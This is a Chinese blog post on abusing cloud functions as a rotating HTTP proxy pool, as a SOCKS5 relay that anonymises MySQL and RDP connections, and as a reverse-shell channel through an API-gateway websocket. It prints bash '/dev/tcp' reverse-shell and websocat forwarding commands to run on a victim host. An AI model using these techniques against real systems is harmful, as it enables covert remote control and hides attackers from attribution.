最近看到一篇关于利用云函数做免费代理池的文章,觉得蛮有意思的,于是也花时间研究了并实现了云函数的几个有趣的利用方式。
这是最为简单的利用方式。主要原理在于:
因此一个 HTTP Proxy 的实现思路就很简单了。客户端挂上代理发送数据包,HTTP 代理服务器拦截数据包,提取 HTTP 报文相关信息,然后将报文以某种形式 POST 到云函数进行解析,云函数根据解析到的信息对目标发起请求,最终将结果一层一层返回。
流程如图所示:
开启 HTTP 代理:
测试 IP 数量:
经过多次测试,5 线程 200 次访问 myip.ipip.net,分配 ip 数量在 60-70 左右变动。
有了 HTTP 代理,就不禁想再往前跨一步,针对 MySQL,RDP 等连接也希望保持匿名的时候,如何利用云函数做 SOCKS5 代理。
云函数能对外发包,自然意味着 socket 可对外发起连接。因此我们完全可以将云函数当作一座桥梁,一侧对 VPS 发起连接,另一侧侧对目标服务器发起连接。
有了这座桥梁,稍微修改一下 SOCKS5 代理我们就可以发车上路了。
正常 SOCKS5 代理请求的流程为服务端监听来自客户端的事件,每当客户端发起一个新的连接,服务端生成一个 socket A,并从数据包中解析出目标服务器的地址和端口,在本地对目标发起一个 socket 连接 B,同步两个 socket 的 IO 操作。
SOCKS5 主要分为 3 个步骤:
用代码表示为如下:
def socks5_process(client: socket): """SocksServer 监听到新连接时的回调函数,将生成的 socket 作为参数 client 传入""" socks5_auth(client) target = socks5_connect(client) socks5_forward(client, target) def socks5_connect(client: socket): # 省略协议细节处理 address, port = extract_targe_info(client) target = socket.create_connection((address, port))
对比 SOCKS5 的流程和云函数建立连接的方式,可发现在 socks5_connect
中,我们需要的不再是对外主动发起连接,而是监听一个端口,等待云函数发起连接。
而为了让云函数发起连接,我们需要主动对云函数的 API 网关发送请求,触发云函数的执行,并将目标服务器信息附在 POST 数据包中。
# socks5.py def socks5_process(client: socket): socks5_auth(client) socks5_connect(client) # 不在此处进行 forward 了 # socks5_forward(client, target) def socks5_connect(client: socket): ... address, port = client.read() requests.post(api_url, json={"host": address, "port": port}) def forward_process(target: socket): """ForwardServer(监听来自云函数的连接) 监听到新连接时的回调函数,将生成的 socket 作为参数 target 传入""" # 在此处进行 forward # 需要注意由该 client 触发产生 target 连接需要与该 client 对应 socks5_forward(client, target)
服务端接收请求,并发起连接。
# server.py def main_handler(event, context): data = json.loads(event["body"]) socks5 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 解析出目标主机并发起连接 socks5.connect((data["host"], data["port"])) forward = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 反向连接 forward.connect((your_vps, forward_port)) # 同步 socks5 和 forward 的 IO 操作 ...
至此,一条完整的通路便形成了。
以 MySQL 连接为例,配置 Proxifier
连接 MySQL:
在 VPS 上开启 SOCKS5 代理,成功打通连接
腾讯云函数的 API 网关除了基本的 HTTP 协议,还提供了一个 websocket 协议触发器,具体描述如下:
文中提到,每当客户端发出消息都会触发云函数的执行,这也是为什么上一节不能直接用 websocket 进行 socks5 代理。
介绍完 websocket 功能,接下来就看看如何利用这个东西实现反弹 shell 的功能。
反弹 shell 的本质在于与目标建立一个可以传输数据的双向通道,攻击者通过通道传输的数据被受害主机执行并将结果借由通道原理返回。以 bash 反弹 shell 为例子:
bash -i >& /dev/tcp/127.0.0.1/8088 0>&1
>& target
等价于 > file 2>&1
,即将标准错误输出和标准输出都重定向 target0>&1
即将标准输入也重定向到 target既然如此,我们能不能再加两层 websocket 通道,形成这样的通道:
形成上述通道的难点在于需要能够从受害主机对 API 网关发起 socket 连接并传输 shell 数据,于是经过一番摸索找到这样一个工具 websocat。
该工具提供了一个将 TCP 端口转发到 websocket 的功能。
因此利用思路为:
websocat -E --text tcp-l:127.0.0.1:12345 ws://apigatway
转发端口bash -i >& /dev/tcp/127.0.0.1/12345 0>&1
通过 ws 连接时,API 网关会生成一个 ConnectionID 代表当前与之连接的一台机器,然而因为通过 ws 连接每次发消息都会调用一次云函数,我们只能知道发起连接的这台机器的 ConnectionID。为此我们还需要一台数据库,用来保存处于连接中的机器,方便进行消息中转。
最终结构如下:
在受害主机上执行命令
本地连接 API 网关,成功执行命令
因为 API 网关的 ws 地址直接暴露会比较危险,因此在服务端增加了一个认证功能,未认证连接发送的信息仅会发送给经过认证的的连接。
本文仅针对 3 种方式提供了一个简单的原理和思路讲解,并未深入代码细节和云函数的具体配置。但 3 中思路均已实现成工具,云函数的配置方法也包括在内,有需要的师傅可以康康 SCFProxy。